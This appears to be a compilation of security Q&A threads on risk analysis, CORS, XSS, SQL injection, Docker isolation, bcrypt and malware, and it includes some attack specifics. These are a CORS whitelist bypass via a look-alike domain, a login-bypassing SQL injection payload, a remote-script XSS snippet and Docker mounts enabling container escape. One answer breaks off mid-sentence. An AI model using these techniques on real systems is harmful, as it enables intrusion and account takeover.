Assess risk with or without exising countermeasures I recently had a discussion with a coworker about the of a risk analysis. When doing a risk assessment you typically identify threats, assess them and then identify the countermeasures. I my opinion it is better to assess the risk of a threat without the existing countermeasures and then identify and assess the countermeasures and their effectiveness.

For example when assessing the risk of a connection to the cloud being eavesdropped, should one consider the risk with or without the TLS that is actually in place according to the design?

My opinion is that it is better to not consider the countermeasure. This to assess the effectiveness and being able to document the important of this countermeasure.

You have to consider the objective of you risk analysis. You want to assess the threats and know if these constitute a risk to your assets. So (TL;DR:) yes you should include current measures.

To do the risk analysis, if we based ourselves onto ISO27k models, you will define a risk formula, assess your vulnerability and exposure to the treats, then get a level of risk through computation of this formula. If this level is higher than your acceptance level, you have to act on it.

It does not matter whether you include current measure in or not. Without the countermeasure, it should raise the level above that threshold and force you to add additional information about countermeasure you place to reduce the risk. However, it's probably better to already take in account the existing measures and have the resulting risk factor already ok (don't add to your work).

The effectiveness of the countermeasure is a totally different aspect of the risk management, and it should appear quantitatively in other documents of your risk management system. Should they fail to be efficient, you would have to re-evaluate the risks and change them.

"the risk of a connection" is not a real risk element btw. "Data theft" or "User impersonation" are threats to your business. These threats can arises because of the vulnerability of the connection (among other thing). This vulnerability has a specific occurrence probability and a given impact if successful on your business. The goal of the risk analysis is by identifying vulnerabilities, related threats, impacts and plausibility of an attack success, if you suffer a great cost or not. If yes, you have to to something about it.

To conclude, I see no real benefit to not take into account the already in place countermeasures for the risk analysis. If you are worried about efficiency, you should refer to the indicators of your ISMS.


CORS mis-configuration I need to crate a PoC in order to exploit a CORS mis-configuration. I'have discovered that the vulnerable server implements a poor whitelist policy that checks if substrings are in the whitelist. So in theory this can be exploited given a proper Origin header. In practice I used BURP to set the header and it worked.

The trouble is that the PoC should be embedded in a HTML page and in particular I can't intercept request and modify them.

I've discover that "setRequestHeader("Origin", 'example.com')" is not allowed in most browsers.

Any help would be welcomed!

You cannot explicitly set the Origin or Referer from inside the browser. If you want to have a specific substring in the Origin you need to make sure that the victim is accessing a domain containing this Origin and then you can embed the attack there.

For example, if the string example.com is allowed by the server (like any requests from a domain with this substring are answered with an Access-Control-Allow-Origin: *) then you can setup your a domain example.com.your-own-domain.foo, embed the attack in a page on this domain and make sure that the user visits this domain (for example by having a link in the mail, embedding it in a post in some forum, serving advertisements ...).


XSS payload with ten character length restriction There is an input field  which is not getting encoded at the server side. But if you give a whole script say , it shows an error like: <img src=a....' is not a valid value.

I am not aware of any payload which is short enough to exploit this.

Is carrying out an XSS attack possible?
If not, how should I report this vulnerability to the application owner?

Is carrying out an XSS attack possible?

No, 10 characters is not enough to exploit this. If you want to enter a JavaScript context, at the very minimum, you would need:

1 < to get into a tag context
1+ [a-z] for the tag name
1 space
1+ [a-z] for the attribute (in practice, the shortest event attribute that currently exists is onload, which is 6 characters)
1 =
your payload

That means even in an ideal situation, you only have 5 characters for your payload. Even if something like jQuery is already loaded, loading a remote script takes more characters than that.

In reality, you don't even have 5 characters. The shortest attribute is 6 characters, but onload doesn't work with img without a valid src, so onerror is shorter, giving you  (20 characters). With a body tag, you could reduce this a bit:  (14 characters), which is still too long. And you still need your payload, which will be a minimum of ~25 characters (eg $.getScript('http://x.c')).

This means that in your situation, script tags would actually be shortest. But you would only get to


Is There a Premium Rate Phone Check? Is there a way, online or otherwise, to check if a phone number is a premium rate number which will charge my bill?  It seems there should be some way to do this with certainty.

Can phone numbers be cloaked if I am messaging the phone number.  For example, if I send a text or make a call to a number (rather than receive it and respond) is it possible that the number was cloaked?

Your telephony provider will be able to provide you with a rate sheet that outlines the different charges for different numbers.  This is as far as I know the only definative way of working out the charge, pretty much everything else is just assumption & guideline - as a for instance, 0800 numbers are free on my mobile contract, but on most of the big name mobile companies they are premium numbers and even outside your bundle.

As far as cloaking of numbers - if I understand your concern, you get charged for the number you dial - if the recipent then diverts it to a premium number - for whatever reason - they pay the premium fee.  My company does this, we provide a free fax number, but we divert it to a premium rate 'fax to e-mail' service.  We pay the premium as our fee for using the service, our clients pay nothing since they called a free phone number.

Hope that helps


How this Unique SQL injection works? I found a challenge which was vulnerable to SQL injection and it was very very pretty hard to find So, How this unique SQL works?

I found this on login form where when I send user=\&pass=||1# as a payload I got successfully admin panel accessed.

This was the challenge. https://hack2learn.pw/mysql/login.php

The query in question probably looks something like this:

SELECT * FROM users WHERE user = '$user' AND pass = '$pass'

The $user and $pass variables are likely sanitized by either removing or escaping " and/or '. That's why a standard attack of ' or '1'='1 or similar is not working.

With your injection, you will get the following query:

SELECT * FROM users WHERE user = '\' AND pass = '||1#'

As you are escaping the ' from the query, user is now compared to ' and pass = (which will likely evaluate to false, as no such user exists). # is a comment which cuts off the rest of the query, so ||1#' evaluates to OR true, which will be true. The authentication code will now likely fetch the first result of that query, or check if anything was returned, and thus authenticate you.


Vulnerabilities and Threats to Non Web Based Windows Applications I believe that most people here are familiar with OWASP and their Top 10 project. When it comes to information systems these days it appears that there is a big focus on web application security and rightfully so. Recently I was tasked to perform a Risk Analysis on an Information System (SQL Server 2005) that has user application interfaces which are both Web and Non Web. So far I have found a lot of very good articles and tools that show web threats and vulnerabilities, but not so much on non-web based applications.

Does anyone know of any good resources that explain and test the vulnerabilities/risks of non-web interfaces of information systems? These applications are run on Windows machines.

As Sachin Kumar pointed out, you should probably start doing some Threat Modelling. The leading resource in this respect is the Microsoft Security Development Lifecycle book/resource. This does not mean this only applies to Microsoft environments or software. In fact, it is a very generic methodology which works pretty well for any kind of application. The Threat Modelling Tool itself isn't really necessary. It just helps putting the data together. I find it easier to just use pen and paper though, unless it's an extremely complex setup.

The idea (extremely briefly) behind this methodology, is to first of all map out the Data Flows, using a DFD (Data Flow Diagram), and then apply the STRIDE classification of threats for each component of the DFD. Once you did that, and really thought about each potential threat carefully, it should already give you a pretty good idea what the main problems are and could help you focus on what to look for. You can also use DREAD to rate those issues in terms of priority/risk. Although if you have some experience you would know the rating almost instinctively. DREAD is a bit too detailed for most cases anyway.

Actually testing for real vulnerabilities or issues can be the next step, but it depends on the environment and the skill-set involved in actually performing it. Another approach that can give you a lot of added value is doing some security code review (if you have access to the code). Or if you have some security static code analysis tools, those can help a lot too.


What's the point of encrypting a session key with a master for file backups? I was reading the Arq backup data format specification. In short (if I've understood right) it is:

Generate password protected master key
Generate random session key
Encrypt plain text with session key
Encrypt session key with master
Concat encrypted session key with encrypted text

The document says the session key is only used for 256 objects before it is replaced. What's the point of generating a session key each time if you can attack the master for the same (or better) result? I don't see anything that says the master is replaced every 256 uses.

I'm assuming the master and session key are of equal strength. The master key is generated via PBKDF2/HMACSHA1 (200000 rounds) and it is used with AES256-CBC.

This is a specific example, but I guess it's the same in more general circumstances. I can see some benefit to this with communication methods to protect against MITM as the attack might not get hold of more than one communication stream, but with backup files I guess you'd find a large number of files, and possibly several backups, all stored in the same place.

I'm probably missing an obvious principle so I would be grateful for any insight given.

There are two different requirements in play here: one functional requirement, and one security requirement.

The functional requirement is that the master key should be able to be changed without the need to decrypt all of the data, and the re-encrypt it with the new key.  This is why you have session keys that are encrypted with the master key.  Specifically you have a key-encryption-key (the master key) and data-encryption-keys (what they're calling session keys.)  This means that when you want to change the password that is used to derive your master key, you only need decrypt and re-encrypt the data encryption keys, not all of the data.

The second issues, which is the security requirement, is that it is only safe to encrypt some number of blocks with a single encryption key.  With AES, which uses 128bit blocks, it's quite a lot of data, but it is still a finite amount.  With smaller 64bit block ciphers like Triple-DES, the limit is much lower, resulting in issues like the Sweet32 attack on 3DES ciphersuites disclosed last year.   This is likely why they've decided to re-key every 256 uses, because file backups mean that they're potentially encrypting a lot of data in those 256 encryptions.   When you're dealing with encrypting keys, however, they're tiny.  Only 32 bytes each for AES256, so no matter how many you encrypt with your single master key, it simply isn't an issue.


How can I use nmap to distinguish between a normal linux machine and an android device? According to this link: here, nmap 5.2 onwards is now supposed to detect android smartphones. I am using nmap 6.01 but it only identifies android devices as running a linux kernel.

I've used nmap extensively and while I've found it's in general pretty good at discovering the OS on server and desktop/laptop hardware it's pretty poor at detecting embedded and handheld kernels.

This is because quite frequently these systems are not listening on any ports, and it's the responses to TCP handshake process that gives the most OS detection information.

Without an open port all nmap has to work on is the response to closed ports and ICMP echo replies.


Can malicious applications running inside a docker container still be harmful? I am very new to docker (and don't usually program at a 'systems' level). I will be working on an open source project with complete strangers over the web over the next couple of months. I trust them, but I like to not have to trust people (meant in the best possible way).
I would like to know, if I download various repositories from github or elsewhere, and run them inside a docker container, is it possible for them to cause harm to my laptop in any way?
In case it's relevant, the repositories will mostly be web applications (think django, node), and will likely use databases (postgres etc), and otherwise operate as regular locally hosted web applications. It is possible (like anything from github or the world wide web), that some apps could contain malicious code. I am curious to know if running such an app (containing malicious code) inside a docker container prevents that code from harming anything outside of the docker container (i.e. my laptop)?

With Linux containers, the container shares the same kernel as the host. So any vulnerabilities in the host's kernel could be used to escape from the container as root. However, if you keep your system up to date, this is unlikely to be of concern.
The main things to be careful with Docker are:

Mounting filesystems in the container: If you map something like the host /etc as writable into the container, processes running as root in the container could mess with the host system's configuration and likely execute arbitrary code as root on the host. Mounting volumes can be performed with:
# docker run ... -v /etc:/mnt/etc ...

Allowing the container to access the Docker socket: This access allows a container to create and manipulate other containers, which can be useful in some cases. However, it allows the container to take advantage of #1 by mapping your root filesystem into a container, and modifying critical system files to gain code execution as root on the host. An example of this is:
# docker run ... -v /var/run/docker.sock:/var/run/docker.sock ...

If you are careful with the above, that eliminates a lot of risks for escape. Another solution is instead use Red Hat's Podman (no affiliation here) which is almost a 100% drop-in replacement, or another alternative. The advantage is that it does not run as root, unlike Docker, so any damage is limited to whatever user account created the container. Podman is compatible with the exact same CLI and container image repositories, and I think it even lets you still call it as docker, so there is no effort needed to switch.


Why do you have to be an admin to create a symlink in Windows? In linux every user can create symlinks, but in Windows I need an admin command line, or mklink fails. Why is that?

By default, only administrators can create symbolic links, because they are the only ones who have the SeCreateSymbolicLinkPrivilege privilege found under Computer Configuration\Windows Settings\Security Settings\Local Policies\User Rights Assignment\ granted.

From Microsoft TechNet: Security Policy Settings New for Windows Vista:

  Symbolic links (symlinks) can expose security vulnerabilities in
  applications that aren't designed to handle symbolic links.


Can my phone be hacked just by being called? I recently found a site, Cell-Spy-Stealth.com, that claims to sell spyware which can be targeted on a phone by simply making a call to it: "It will work even if you get the voice mail, or if the target phone is password protected." It claims that after this one-time call, your phone will have access to all live SMS, calls, photos, videos, data, GPS (if enabled) and even the microphone while unused. It further claims that it is 100% undetectable and untraceable.

Is this really possible? If so, would there be any way to neutralize such a breach?

Any site that claims to be able to do that is a scam.  Such technology would have to exploit some kind of backdoor, and if such a backdoor exists, it would only be known to law enforcement.  If knowledge of such a backdoor leaks, you can be sure that there would be a media frenzy over it, and the vulnerability would quickly be fixed.

Phone monitoring software exists, but all of the legitimate ones require either physical access to the phone to install, or finding a way to deceive the owner into installing it.


Why do WordPress installations retrieve the crypto secrets remotely on installation? It seems that WordPress retrieves all the crypto constants remotely (via HTTPS):

// setup-config.php
$secret_keys = wp_remote_get( 'https://api.wordpress.org/secret-key/1.1/salt/' );

Are there any benefits to doing this instead of generating the keys locally?
Is this completely unnecessary? Will it only provide another attack vector to WordPress setups?

This is arguably bad design, but one can understand where the design came from.

It is arguably bad design, because it relies upon api.wordpress.org to generate random keys and keep them secret.  If api.wordpress.org gets compromised, then the attackers could arrange to record the keys that are used by new Wordpress installations.  That would be problematic.

(Yes, Wordpress could send you backdoored source code, but that would be detectable in principle by anyone who examines the source code -- as you have done.  In contrast, if api.wordpress.org is secretly recording a copy of the keys it sends to new Wordpress installations, that is not detectable by any amount of source code inspection or any other mechanism available to interested third parties.)

It is understandable, because it is hard to generate crypto-quality randomness in a platform-independent way.

It's still arguably a bit sloppy/lazy.  Arguably, a better design would have been to gather some local randomness (if possible), gather some randomness from api.wordpress.org, and then mix the two securely using a cryptographic hash function.  That way, you'll be secure as long as either of those two values is good.  A compromise of api.wordpress.org would not endanger Wordpress installations running on any platform where the code was able to gather some local randomness; it would only endanger the small minority of installations that were unable to get good randomness.

How can one generate good crypto-quality randomness, from local sources?  There are various ways:

Read 16 bytes from /dev/urandom, if it exists.
Call openssl_random_pseudo_bytes(), which invokes OpenSSL to get crypto-quality pseudorandom bits.
Call mcrypt_create_iv(), with the MCRYPT_DEV_URANDOM flag.
Of course, one can try all available options and mix together everything you get.  As long as at least one of these options work, you'll be good.  And of course, if you mix this together with output from api.wordpress.org using a cryptographic function, it'll never be any worse than today's approach, and will be better if api.wordpress.org ever gets compromised.

So, combining local and remote randomness would have been a better approach.  Unfortunately, that does require a bit more work and a bit more code.  Perhaps the developers took the easier approach of just querying api.wordpress.org.  One could debate that design decision, but you can understand how this approach might have been chosen.

Overall, though, as Thomas Pornin argues, this is probably not the biggest security risk with Wordpress.  We're talking about software with a long history of security vulnerabilities.  So, the incremental risk added by this aspect of their random-number generation might be small, compared to the risk you're already taking either way.

See also Secure random number generation in PHP for more on generating crypto-quality random numbers from PHP, and Would it be secure to use random numbers from random.org in a cryptographic solution? for more on why it is not a great idea to rely upon a remote source of random numbers for your crypto keys.


What information can you get from a photo? Often in films about the FBI, we see that from a photo it's possible know:

Name and surname of the photographer
City where the photo was taken
Latitude and Longitude of where the photo was taken

Is it just fantasy or can be possible get all this from a photo? What can you get from a photo (if it's possible get anything else)?

You're talking about a photo's EXIF data. It's metadata embedded into photographs by the device taking the pictures. Often it includes:

Device information (model, sometimes serial number)
Photograph information (Resolution, aperture, focal length, size, etc)
GPS Information (Lat, Long)

There are tools out there to strip EXIF data from pictures if you're concerned about it. See these Google Results for more info.

EDIT  --  How Metadata Works
Metadata is simply additional information about the file. All (I guess I should say most) files have some sort of metadata associated with them, including create date, modified date, metadata change date, and last access date (research tools like IMG_CAT, FLS, and iStat for more info on obtaining metadata).

Basically, a file is nothing more than a sum of binary data (1s and 0s), so metadata is additional binary added to the binary that makes up the image. It's located in a specific area of the file (known as the offset, usually represented in hex i.e., 0xLOCATION) and can be observed with the tools mentioned above or by opening the image in a hex editor given that you know where to look for it. This illustration may help understand how metadata is packaged into the file.


Is CryptoLocker part of the TeslaCrypt ransomware family? I'm reading a Microsoft report examining the most prevalent ransomware families as of recent.

On the news, I've heard of CryptoLocker, CryptoWall and TeslaCrypt, but I don't see any of them mentioned by name. Only the "family" is marked there.

What is the family > brand correspondence here?

BTW, here's an McAfee article on TeslaCrypt, stating that it looks like CryptoLocker, without actually being the same thing.

CryptoLocker was taken down in 2014. Some copycat ransomware developers have chosen to imitate it, but the original CryptoLocker is gone. TeslaCrypt, CryptoWall etc. are all different strains of ransomware.

However, because of the aforementioned copying of CryptoLocker's name and because it was the first ransomware to be widely succesfull, some media continue to refer to all ransomware as "CryptoLocker" even though the different ransomware strains aren't based off its code.

Edit: after comparing the description of TesCrypt given by Microsoft to the Bleeping Computer TeslaCrypt ransomware FAQ & removal guide I can confirm that TesCrypt = TeslaCrypt. The same goes for Crowti; Microsoft lists Cryptowall as an alternate name.
(I hate it that many AV vendors come up with different names for the same malware, it makes life more difficult for no good reason.)


Is autologin dangerous? (Debian/Linux) If I use only a computer, can I disable the password when I log in? That is, the user account has a password, but in the settings I turn on autologin:
/etc/lightdm/lightdm.conf

[Seat:*]
autologin-user=user
autologin-user-timeout=0

Is this an Internet attack vulnerability?

When considering If auto login is a risk we must first know the use for the machine.
Like when it’s a public machine having that autologin is not really a problem if sufficient safeguards are put in place to prevent abuse.
Think of machines like kiosk or ATM’s or other public service machines.
When we are talking about a personal machine it depends on the use. If it’s for someone that can not be expected to enter a password it could be ok to have that autologin. (Think users like people with memory issues / dementia or users that are really old / need some sort of assistive technology, like poor eyesight /blind or mobile limited / in a wheelchair). In such cases alternative safeguards are needed to protect the user and system because since a password is not an option.
If it’s for a normal person without limitations in use of the machine, the risks of autologin are far greater than the benefit it offers.
If easy of login is wanted you could consider using a login stick instead of a login password (like a yubikey Or alike).
If the machine is mobile no password is a no go (imho) same goes for encryption of the disk (I consider that a must have). These things are impossible to combine with a auto login.
As always first consider what someone could do with the additional permissions (no login in this case) that you think are unwanted or a risk.
Than consider the “cost” of having the feature in place, not just the cost in money but also the cost in time and effort.
Security is a game of having the most gains while keeping effort reasonable.


Is bcrypt safe with the 64-bit block cipher birthday attack? Recent research  made it apparant that birthday attacks are now 'viable' on 64-bit block ciphers which Blowfish uses. (the paper in pdf)

At work we use BCrypt for password hashing, as I was thought that for password-hashing it was best/safer as it makes use of Blowfish.

I do know that hashing and encrypting are two different things, but as I am no security expert I do not know if we need to change any of our development processes, and if so, what to do about it.

So basically, is BCrypt (and possibly other hashing methods) affected by this?

Yes, bcrypt is still safe.  Blowfish is used in a fundamentally different way inside of bcrypt than for symmetric encryption.  The birthday attack requires that an attacker be allowed to encrypt hundreds of gigabytes worth of data under the same key, and then examine the hundreds of gigabytes of ciphertext output in order to find a colliding ciphertext block.

These conditions simply don't exist in the bcrypt hashing function, so even though the underlying algorithm is Blowfish, the attack is not applicable.


Buffer Overflow problem I have a quick question about a buffer-overflow exploit in a 64-bit binary. Lately, I have found some basic buffer overflow vulnerabilities. I hoped I knew how to manage it, but apparently, I don't.

Task code:

void vulnFunc(int x){
  char buf[12];
  gets(buf);
  if(x!=10) system("/bin/cat flag.txt");
  else printf("Nope!");
}

int main(){
 vulnFunc(10);
 return 0;
}

In this scenario the buffer is allocated AFTER arg, so even if I override buffer, I can't change "x" value. I checked under the gdb and after I put bunch of "A"s to the buffer, the stack looks like this --> 0x0000000A 0x41414141 0x41414141.....

You didn't actually write a question in your question, but, assuming it's x86, then the argument for x must be put on the stack prior to calling into vulnFunc.  On x86-64, it's entirely possible this won't be vulnerable, because x is passed in a register, so it's unlikely to be anywhere on the stack, unless it is placed there by a side effect of compilation.


Questions regarding Rakshasa Regarding Jonathan Brossard's Hardware Backdooring is practical talk at Def Con 20 in 2012:

What does the developer mean by "The payload is booted via Networkboot"?

How does the bootkit (a modified version of Kon-Boot) infect the connected hard drive remotely?

Does this mean that there is a boot partition somewhere on a server and Rakshasa connects to this partition and makes it so to say the boot partition of the physically connected hard drives on the victim's PC?

The goal of the creator of Rakshasa was to avoid having any malware, which could potentially be flagged by an antivirus, to be stored anywhere in the machine (whether it is on the hard-disk, in a firmware, or anywhere else).

To achieve this, Jonathan Brossard (to call the creator by his name) implemented Rakshasa with the following principle:

Rakshasa is composed mainly, if not only of Opend-Source components which are usually used in legit ways. These components include a free BIOS firmware, an associated TCP stack, and software allowing to download a remote image and boot from it. Such solution is widely used in corporate scenarios like kiosk computers, thin clients or corporate rescue systems: it allows all computer to share the system image, so you have only one share image to update instead of n machines.
The main difference here is that Rakshasa will not actually download a legit system image as this is the case for above corporate examples, it will download a modified Kon-boot image (but this could have been actually anything else) and start from it.

So, if I get back to your question:

  How is the bootkit [...] infecting the connected harddrive remotely?

There is no remote infection happening here.

Actually, the creator goes very fast over the initial contamination step which is out-of-scope of his demonstration. He mentions that the initial contamination could be done for instance by the hardware provider himself, by a parcel seizure during the delivery process, or by anyone else having a physical access to the machine (even if some TPM-based security measures may make this last one more difficult).

Contamination through malicious software should also be possible, but here comes again the antivirus detection issue since it is not part of a usual software behaviour to try to flash BIOS and network cards firmwares...

Anyway, most of this presentation consider an already infected machine. This means:

The BIOS firmware has been reflashed with a custom Open-Source firmware configured to download boot kits from a set of servers owned by the attacker,
With a full fledged attack, the firmware of a network card (I suppose another PCI device may also be fine) has also been reflashed with a custom modified firmware allowing to reinfect the BIOS firmware in case it gets cleaned by the machine owner,
The hard-disk hasn't been and will never be touched to avoid any detection.

  Does this mean that there is a boot partition somewhere on a server and Rakshasa connects to this partition...

It is not really a boot partition. It it just a boot images, which are actually standard files (for the sake of the example the presenter even named them using .pdf extensions) containing binary code to be downloaded and executed by the machine during its startup sequence.

As mentioned earlier, you will most typically find such system implemented in corporate environment for thin clients, kiosk computers and as a rescue systems: instead of reading the boot instructions from the local hard-disk, such system will read instructions from a downloaded file.

  ...and makes it so to say the boot partition of the physically connected harddrives on the victims pc?

In the above mentioned corporate example, the downloaded boot image will be used instead of the hard-disk, whether because there may not be even any hard-disk at all (thin clients, kiosk computer) or because the hard-disk may not be bootable anymore and needs to be reimaged (corporate network rescue system).

Such boot images therefore contain a full operating system dedicated to whatever it should be used for.

Rakshasa used a standard way, on the contrary, do not mean to fully replace the original operating system: it wants to be as most transparent to the user as possible.

Therefore, the downloaded boot image will not contain a full operatig system, its code will only:

Contain all requested malware and payload (Kon boot, anti-security measures, etc.) and execute them in the requested order with some of them then staying resident in the memory,
Once all payloads have been successfully executed, it will give back control to the first bootable partition, ie. from now on the machine will retrieve a normal boot sequence.

As a side note (I don't remember if it was mentionned during the presentation), while this "first bootable partition" will usually be the hard-disk, it could also be a CD-ROM if the machine owner was booting from a CD instead of a hard-disk. This has some importance since it means that booting from a Live-CD as it is often recommended to avoid malware and backdoors will not bring any security against such threats.


With SSL: not saving sessions, cookies not being sent My purpose is to have a fully SSL site. The web host gave this format of URL for my shared server SSL:  https://hostaddress.net/example/  where www.example.com is the domain name.

I conducted the following tests to try to isolate the issue, but failed to find an answer. The script outputs the session_id and another session variable in order to test the session. The site url goes to the index page which then immediately directs to the first form page. The first form script submits input to itself then urls to a second page, where the session variables are output in order to test the session.

Before every test I delete the sessions at the server, and also delete the cookies, browsing and download history, and cache  on the client (firefox).

Test 1 - non-SSL - the base http script that works:

htaccess script is blank; $params secure = false.

Result:
An unchanging cookie is observed in Firebug (security = blank). The input plus submit outputs the form input value, the session id and the session variable value on the second page. All correct.

Test 2 - SSL:

htaccess (below, as supplied by the web host); $params secure = true.

RewriteEngine On

RewriteCond %{HTTP_HOST} ^(.*)example.com [NC]

RewriteCond %{SERVER_PORT} 80

RewriteRule ^(.*)$ https://hostaddress.net/example/$1 [R,L]

Result:
The SSL URL shows in the address bar as expected. The posted value reaches the first page again as expected, and the posted value is assigned as a session variable to be picked up on the second page. It fails to do this. A new session_id is shown on the second page yet doesn't show as a cookie on firebug (as it did on Test 1).

Question: How do I get the session data that is saved on the server to show on the client, and get the cookie saved on the client, while using $params secure=true and the SSL URL in htaccess?

If the scripts and outputs would help I have them available.

By trial and error I found the answer:

It seems that when SSL is used (test 2), setcookie is required as follows:

setcookie('sessionname', session_id(), time()+whatever, '/', 'theSSLhostaddress', true, true or false);

Also, the htaccess works in test 2.

The non-SSL script (test 1) did not require setcookie!

Hope this helps.


Identify emails registered in an online web application We are developing a web application where users can register using their e-mail address. During the login process, we used to have an error message "email is not registered". Since we need to maintain the privacy of our users, we changed this message to "invalid user name or password".

Are there any other ways that an attacker can identify whether an email is registered with our site or not ?

This is a good change that you did to hardening privacy leakage in your app. From a point of an attacker, there is one other way to identify the email is registered in your site or not. But this is depending on how you have implemented your authentication process, performance of your web servers etc..

Normally we store the user password as a hash in the DB along with the salt value(Hope you did the same?). So, if the login process identifies an email is existing in your DB, then it is calculates the hash of given password and try to compare hashes. Calculating the hash of given password takes bit of time. So what attacker can do is, compare the response times from your login page and identify emails which takes longer time to respond.

As a remedy to this kind of an attack. You have to manually control your response time in your login page to a constant.


Automatically search Metasploit for useable exploits based on vulnerabilties in the database Is it possible to automatically search the Metasploit database for usable exploits based on information about the vulnerabilities on the hosts?

Searching in Metasploit for each CVE number to see if there is an exploit available can be quite tedious,  so can this be automated in any way? I have filled my Metasploit database with vulnerabilities from OpenVAS, but can I automate the searching for exploits in some way?

This functionality is mainly what can be expected by most vulnerability scanners. For one but Nexpose and Nessus automatically say if a Metasploit exploit is available and what name it is.

There is a plugin available here on github, which could do what you want given some modification in regards to openVAS integration. This plugin does auto-exploitation against a vulnerability scanner's imported DB.


Exposing HSM to a WAN via VPN For our project we are using a 3rd party application (installed on their cloud). For crypto purposes, this application requires to access the HSM that is located in our LAN.

So in terms of security I was wondering:

What risks we would take if the HSM would be accessible through the internet via VPN (considering that all enc/dec are done by HSM)?
Whether this configuration would work? <Internet><FW><Reverse Proxy><FW><HSM><FW><LAN>

Thanks in advance for your help

A VPN over the internet is secure if it's set up properly, plus any connections to the HSM should be encrypted as well. The big concern I would have is that you are letting an external organization into your network. Third parties are out of your control, if they were hacked then an attacker could attempt to penetrate your organization through that connection. To mitigate this risk you'd want to put your HSMs in a separate DMZ and only allow traffic to those HSMs from that VPN. A penetration test of the HSMs would also be a good idea to make sure they are configured properly, you don't want them leaking information.


Can a PostScript .PS file contain a virus? I was just given a postscript file containing what I was lead to believe was a document pertaining to some work I was being asked to consult on. Although it didn't seem to contain anything that resembled a document at all.

The guy who gave it to me seemed pretty keen for me to run the file in internet explorer. When I did explorer immediately opened and closed, but did not crash.

Is it possible that a postscript file can contain a malware of some kind?

I believe that you did no want to ask if a Postscript file can contain a virus but if Postscript can be used as attack vector. There are actually several examples where the complexity and power of Postscript could be used for malicious purposes:

Hangul Word Processor and PostScript Abused Via Malicious Attachments. This used a vulnerability (CVE-2017-8291) in the embedded Ghostscript engine and allowed an attacker to cause code execution when the victim was reading an Office document. Note that the same bug in Ghostscript could also be used outside of HWP.
Microsoft Office CVE-2015-2545 Remote Code Execution Vulnerability.This is a similar issue, only for Microsoft Office. See also How the EPS File Exploit Works to Bypass EMET (CVE-2015-2545) – A Technical Exploration. And because this bug was used widely, the code had probably more bugs and the EPS functionality was not really needed anyway Microsoft finally disabled it: Support for EPS images has been turned off in Office.
Attacking the network using code execution in networked postscript capable printers: We don't want to alarm you, but PostScript makes your printer an attack vector.


Is it possible to "hack" a mobile phone just because it's WIFI is enabled? I heard about a conference about security, where everybody who had his phone's wifi enabled (not connected) was "hacked" and their phone's pin number (PASSCODE) were shown on the screen's conference (2 last digits).
Is it possible?
What other data could that hacker get?

AFAIK, it is a common demo in security conferences. While one of the conferencers starts speaking, another one starts a WiFi dump tool to identify phones with an open WiFi. Then he offers them to connect on his network by trying to provide an expected SSID => fine he has immediately done a MITM. As smartphones often carry many apps that try to sync as soon as a network is available, it is likely that attacker will soon get valuable informations on the sytems and applications. Assuming that the attacker is a specialist in pentesting (common for security conferences), the risk that he can find a vulnerable system or app is... rather high if the Wifi was opened - read the owner of the phone is probably not very cautious about his device security.

Then he just tries to get various informations to prove that a hack was possible in a short time and shows the results, with a real impact on people who were hacked, which is the goal of the demo.

Now for the questions:

is it possible is Wifi is closed: no
is it possible on any smartphone with an open Wifi: probably not, because you still need talkative and vulnerable apps
what is the risk on your smartphone? Just count the installed applications that can automatically sync data, and try to evaluate how much you can trust their developper


What issues are most important to cover in Corporate Security Policy? What about a Privacy Policy? Both internal, and external.

Key points:

It should outline the security acceptance/appetite of the organisation in order that the standards which support the policy can be defined in the correct environment.

It also needs to define responsibilities, ownership and sponsorship.

Updated just to provide some examples, as I did leave this pretty light. At high level you should have at the minimum policies to allow you to measure, understand and regulate your technology risk. These will also be required from a governance perspective in a lot of environments -

Information Security Policy
Information Classification Policy
Acceptable Use Policy
Data Retention Policy
Data Protection Policy
Risk Assessment Policy

You will probably also want to look at the following if you provide services or products to larger organisations, as they may run a governance scheme which includes their 3rd parties -

Corporate and Social Responsibility
Policy
Environmental Policy
Equal Opportunity Policy

In the UK you must define your data protection requirements with respect to the Data Protection Act 1998. You should also construct your policy framework taking the ISO27001 family of standards into account, as many security audits and assessments for the regulator and for the IT piece of statutory audit are structured around 27001.


What is a decoy-server? I see that the term "decoy-server" is often used but I am not able to find a more formal definition for it. Can someone help?

E.g
https://scholar.google.com.sg/scholar?hl=en&q=%22decoy+server%22&btnG=&as_sdt=1%2C5&as_sdtp=

Honey-pot. Attractive nuisance server that can be used to monitor attacks.

And a decoy/honeypot is a public server if it's accessible by the public as opposed to being an internal tool in an IPS (Intrusion Prevention System).

All servers accessible by the public are public servers, not all decoy servers are accessible by the public.

More definitive explanation from SANS.


How does using OpenID affect webapp security? Using OpenID for authenticating users grows in popularity and, in fact, makes a webapp easier to use.

But what are the security considerations one should bear in mind when deciding whether to implement an OpenID or not?

Is it suitable for any kind of webapp? Or are there categories of web applications which should not use such a way of handling authentication of users?

Is it ok to use OpenID for e-commerce applications?

I think it makes sense to offer signup via OpenId, but not require it, even for ecommerce websites.
The reason for this, is that tech-savvy users (still the core userbase for openid) can decide whether to take that risk, or not.

The sites that I would not recommend using OpenId, are either highly sensitive sites, e.g. bank sites, or private/corporate systems where you want control of the users' identities, too (ala Enterprise-Centric Identity, as opposed to User-Centric Identity).

There is a clear advantage to using OpenId, since you dont have to manage users' identities, including passwords, resetting, security, etc, and accepting the risk that involves.


Security implications of storing email attachments on Centos Server There is an application I am working on which requires processing the incoming mails to cs@company.com.
The company.com mail accounts are being run via Google Apps for Business.
So I fetch the incoming mails via IMAP and I also store the attachments on the server filesystem.
Attachments are downloadable by the users of the application.
Server is Centos 6.3 and the web interface of the application is based on Apache/PHP/MySql.

My questions are :
 1. What kind of security risks I am exposed to by storing the attachments on my server filesystem?
 2. Is it safer to store the attachments to an external storage (for e.g. Amazon S3)?
3. Is it safer to store the attachments in the DB?

Technically, a filesystem stores files as opaque sequences of bytes. There is no harm that the said bytes can do to your server as long as you do not try to "interpret" these bytes. Unfortunately, some operating systems are quite eager to interpret file contents, triggering heavy processing without explicit user consent; and that processing could have security holes exploited by maliciously crafted file contents. See this answer for details. Usual countermeasures apply: if you use a maintained OS (like CentOS) and apply published security fixes on a daily basis, then you should be fine. I would still recommend avoiding exploring the directory with a graphical file explorer, so as to avoid automatic interpretation of picture files.

Legally, any act of storing data coming from external sources can put you in trouble, depending on what the file contains and the legal framework in which you operate. When you have a mail server, it is rather unavoidable that you may receive just about anything by email, and most law systems will recognize that, as a technical service provider, you are not responsible for the email contents. It may still be worth talking to a lawyer, though, in particular if you envision creative storage systems. There can be privacy issues, too; you'd better protect access to the storage system for attachments as well as you would protect mailboxes themselves.

